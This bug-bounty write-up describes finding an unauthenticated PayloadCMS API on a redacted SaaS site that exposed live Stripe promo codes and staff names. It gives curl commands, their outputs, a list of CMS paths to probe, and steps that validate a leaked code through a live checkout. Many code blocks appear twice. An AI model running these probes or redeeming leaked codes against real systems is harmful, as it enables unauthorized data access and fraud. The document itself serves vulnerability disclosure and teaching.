June 6, 2026
Leaking Production Stripe Promo Codes via Unauthenticated PayloadCMS API — From Information…
By Divakar Vasani
Divakarvasani
4 min read
Target:_ Redacted (SaaS platform) Severity: Medium Bounty: $0 — Target never acknowledged this report. Not even once. Their bug bounty policy promises 72-hour acknowledgment. After 30+ days of follow-ups ( asking for follow-ups ), I received zero response for this finding._
Reconnaissance — Identifying PayloadCMS
During my initial subdomain fingerprinting, the marketing/landing site stood out:
echo "landing.target.com" | httpx -sc -title -tech-detect -server -silent
https://landing.target.com [200] [Target | Get ahead of your inbox] [Vercel] [Next.js,Node.js,React,Vercel]echo "landing.target.com" | httpx -sc -title -tech-detect -server -silent
https://landing.target.com [200] [Target | Get ahead of your inbox] [Vercel] [Next.js,Node.js,React,Vercel]Next.js on Vercel. I started probing for API routes:
for path in /api /api/health /api/auth /api/users /api/pages /api/media /api/access /api/globals; do
echo -n "$path -> "
curl -s -o /dev/null -w "%{http_code} (%{size_download}b)" "https://landing.target.com$path"
echo
done
/api -> 404 (465525b)
/api/health -> 404 (45b)
/api/auth -> 404 (43b)
/api/users -> 403 (70b)
/api/pages -> 200 (44350b)
/api/media -> 200 (4790b)
/api/access -> 200 (15030b)
/api/globals -> 404 (46b)for path in /api /api/health /api/auth /api/users /api/pages /api/media /api/access /api/globals; do
echo -n "$path -> "
curl -s -o /dev/null -w "%{http_code} (%{size_download}b)" "https://landing.target.com$path"
echo
done
/api -> 404 (465525b)
/api/health -> 404 (45b)
/api/auth -> 404 (43b)
/api/users -> 403 (70b)
/api/pages -> 200 (44350b)
/api/media -> 200 (4790b)
/api/access -> 200 (15030b)
/api/globals -> 404 (46b)/api/users returns 403 (exists but restricted). /api/pages and /api/media return 200 with data. /api/access returns 200 with 15KB of data. This is PayloadCMS — a headless CMS commonly used with Next.js.
One thing that tipped me off was the x-powered-by header in the error responses:
x-powered-by: Next.js, Payloadx-powered-by: Next.js, PayloadMapping the CMS Schema
The /api/access endpoint in PayloadCMS returns the full access control configuration — essentially a map of every collection, field, and permission in the entire CMS:
curl -s "https://landing.target.com/api/access" | python3 -m json.toolcurl -s "https://landing.target.com/api/access" | python3 -m json.toolThis returned a massive JSON object revealing all collections:
users— CMS admin usersmedia— uploaded images and filesauthors— blog post authors with names, titles, biosblogposts— 304 blog postschangelog-entries— product changelogabi-reports— internal reportspages— landing pages
And three globals:
google-ads-settingsexp-settingssite-stats
All with field-level access permissions laid out. This is essentially a free architecture diagram of the entire content system.
Finding the Promo Codes
PayloadCMS globals are singleton documents accessible via /api/globals/{slug}. I tried each one:
curl -s "https://landing.target.com/api/globals/exp-settings"
{
"id": 1,
"cappersCoupon": "EXPREDACTED26",
"agentsCoupon": "EXPREDACTED2",
"miamiCappersCoupon": "EXPREDACTED3",
"miamiAgentsCoupon": "EXPREDACTED4",
"onboardingUrl": "https://zoom.us/meeting/register/[REDACTED]",
"updatedAt": "2026-04-03T16:12:22.391Z",
"globalType": "exp-settings"
}curl -s "https://landing.target.com/api/globals/exp-settings"
{
"id": 1,
"cappersCoupon": "EXPREDACTED26",
"agentsCoupon": "EXPREDACTED2",
"miamiCappersCoupon": "EXPREDACTED3",
"miamiAgentsCoupon": "EXPREDACTED4",
"onboardingUrl": "https://zoom.us/meeting/register/[REDACTED]",
"updatedAt": "2026-04-03T16:12:22.391Z",
"globalType": "exp-settings"
}No authentication required. Four active promotional coupon codes and an internal onboarding Zoom link — exposed to anyone on the internet.
curl -s "https://landing.target.com/api/globals/google-ads-settings"
{
"brandCampaignIds": [
{"campaignId": "23532814534"},
{"campaignId": "22997754374"},
{"campaignId": "23523058317"},
{"campaignId": "22231431831"}
]
}curl -s "https://landing.target.com/api/globals/google-ads-settings"
{
"brandCampaignIds": [
{"campaignId": "23532814534"},
{"campaignId": "22997754374"},
{"campaignId": "23523058317"},
{"campaignId": "22231431831"}
]
}Google Ads campaign IDs. A competitor can use these to analyze the company's ad spend and strategy via Google Ads Transparency Center.
curl -s "https://landing.target.com/api/globals/site-stats"
{
"totalUserCount": 100000
}curl -s "https://landing.target.com/api/globals/site-stats"
{
"totalUserCount": 100000
}User count — confirms the scale of the platform.
Validating the Promo Codes Against Production Stripe
Finding coupon codes is interesting, but I needed to prove they work. I authenticated with my test account and hit the promo validation endpoint:
curl -s -X POST "https://app.target.com/api/stripe/promo" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"promoCode":"EXPREDACTED26"}'
{
"id": "promo_1TIAKRB3e63WgDQF8dcWXutx",
"object": "promotion_code",
"active": true,
"code": "EXPREDACTED26",
"livemode": true,
"max_redemptions": null,
"times_redeemed": 108,
"restrictions": {
"first_time_transaction": false,
"minimum_amount": null
}
}curl -s -X POST "https://app.target.com/api/stripe/promo" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"promoCode":"EXPREDACTED26"}'
{
"id": "promo_1TIAKRB3e63WgDQF8dcWXutx",
"object": "promotion_code",
"active": true,
"code": "EXPREDACTED26",
"livemode": true,
"max_redemptions": null,
"times_redeemed": 108,
"restrictions": {
"first_time_transaction": false,
"minimum_amount": null
}
}This confirmed everything:
Field Value Meaning livemode true Production Stripe — not a test environment active true Code is currently active times_redeemed 108 Already used 108 times max_redemptions null Unlimited — no cap on usage first_time_transaction false Can be used by existing customers too
Generating a Discounted Checkout Session
The final proof — can I actually create a Stripe checkout with this leaked code applied?
curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/checkout-sessions" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{
"promoCode": "EXPREDACTED26",
"seatCount": 1,
"billingCycle": "MONTHLY",
"planType": "PRO"
}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_ID]"
}curl -s -X POST "https://app.target.com/api/organisations/[ORG_ID]/checkout-sessions" \
-H "Authorization: Bearer [AUTH_TOKEN]" \
-H "Content-Type: application/json" \
-d '{
"promoCode": "EXPREDACTED26",
"seatCount": 1,
"billingCycle": "MONTHLY",
"planType": "PRO"
}'
{
"checkoutSessionUrl": "https://checkout.stripe.com/c/pay/cs_live_[SESSION_ID]"
}A live Stripe checkout session (cs_live_) was generated with the promotional discount applied. Opening this URL in a browser showed the checkout page with the discount — ready to complete a real discounted purchase.
Additional Data Exposure
While I was exploring the CMS, I found more unauthenticated endpoints:
Staff information:
curl -s "https://landing.target.com/api/authors" | python3 -c "
import sys,json
d = json.load(sys.stdin)
for a in d.get('docs',[]):
print(f'{a.get(\"firstName\",\"\")} {a.get(\"lastName\",\"\")} - {a.get(\"jobTitle\",\"\")}')"
[Name] - Head of Product & UX
[Name] - Senior Marketing Manager
[Name] - Marketing Copywriter
[Name] - Content Writer
[Name] - Founder, Investor
...curl -s "https://landing.target.com/api/authors" | python3 -c "
import sys,json
d = json.load(sys.stdin)
for a in d.get('docs',[]):
print(f'{a.get(\"firstName\",\"\")} {a.get(\"lastName\",\"\")} - {a.get(\"jobTitle\",\"\")}')"
[Name] - Head of Product & UX
[Name] - Senior Marketing Manager
[Name] - Marketing Copywriter
[Name] - Content Writer
[Name] - Founder, Investor
...Full names, job titles, and bios of team members — useful for social engineering.
Blog posts with internal metadata:
curl -s "https://landing.target.com/api/blogposts?limit=2&depth=0" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Total: {d[\"totalDocs\"]} posts')"
Total: 304 postscurl -s "https://landing.target.com/api/blogposts?limit=2&depth=0" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Total: {d[\"totalDocs\"]} posts')"
Total: 304 posts304 blog posts with full metadata including internal fields like funnelStage, targetIcp, authorityTheme, and uiEditLockId.
Admin panel accessible:
curl -s -o /dev/null -w "%{http_code}" "https://landing.target.com/admin"
200curl -s -o /dev/null -w "%{http_code}" "https://landing.target.com/admin"
200The PayloadCMS admin login page is publicly accessible. While it requires credentials, it confirms the CMS admin interface is exposed.
Impact
- Direct monetary loss — leaked promo codes can be used by anyone to obtain discounts on subscriptions. With unlimited redemptions and no first-time restriction, this represents ongoing revenue leakage.
- Competitive intelligence — Google Ads campaign IDs allow competitors to analyze ad strategy, spend patterns, and targeting.
- Social engineering — staff names and titles from the authors endpoint.
- CMS architecture leak — full schema from
/api/accessaids further reconnaissance.
Takeaways for Hunters
- Always check for headless CMS APIs — PayloadCMS, Strapi, Contentful, Sanity, and Directus all have default API endpoints that are often publicly accessible. Common paths:
/api/globals/,/api/collections/,/api/access. - PayloadCMS specific paths to try:
/api/access — full schema and permissions
/api/globals/{slug} — singleton documents (config, settings)
/api/{collection} — collection data (users, pages, posts)
/admin — admin panel
/admin/login — admin login/api/access — full schema and permissions
/api/globals/{slug} — singleton documents (config, settings)
/api/{collection} — collection data (users, pages, posts)
/admin — admin panel
/admin/login — admin login- Globals are the high-value targets — they often contain configuration data like API keys, coupon codes, feature flags, and internal URLs. Developers put things in CMS globals because they're "easy to update" without a deploy — but forget to restrict access.
- Always validate leaked credentials — finding a coupon code is informational. Proving it works on production Stripe (
livemode: true) with a live checkout session elevates it to a real business-impact finding. - Check the
x-powered-byheader — it often reveals the exact CMS or framework, telling you exactly which default endpoints to try. - Look for
.target.com-scoped cookies — the marketing site was setting cookies scoped to the parent domain, meaning it could influence cookies for all subdomains including the main app.
Disclosure Timeline
Date Event Day 1 → Vulnerability discovered and reported with full PoC Day 7 → Follow-up email — no response Day 14 → Another follow-up — no response Day 23 → Final follow-up — no response Day 30+ → Complete silence. Never acknowledged. Zero bounty.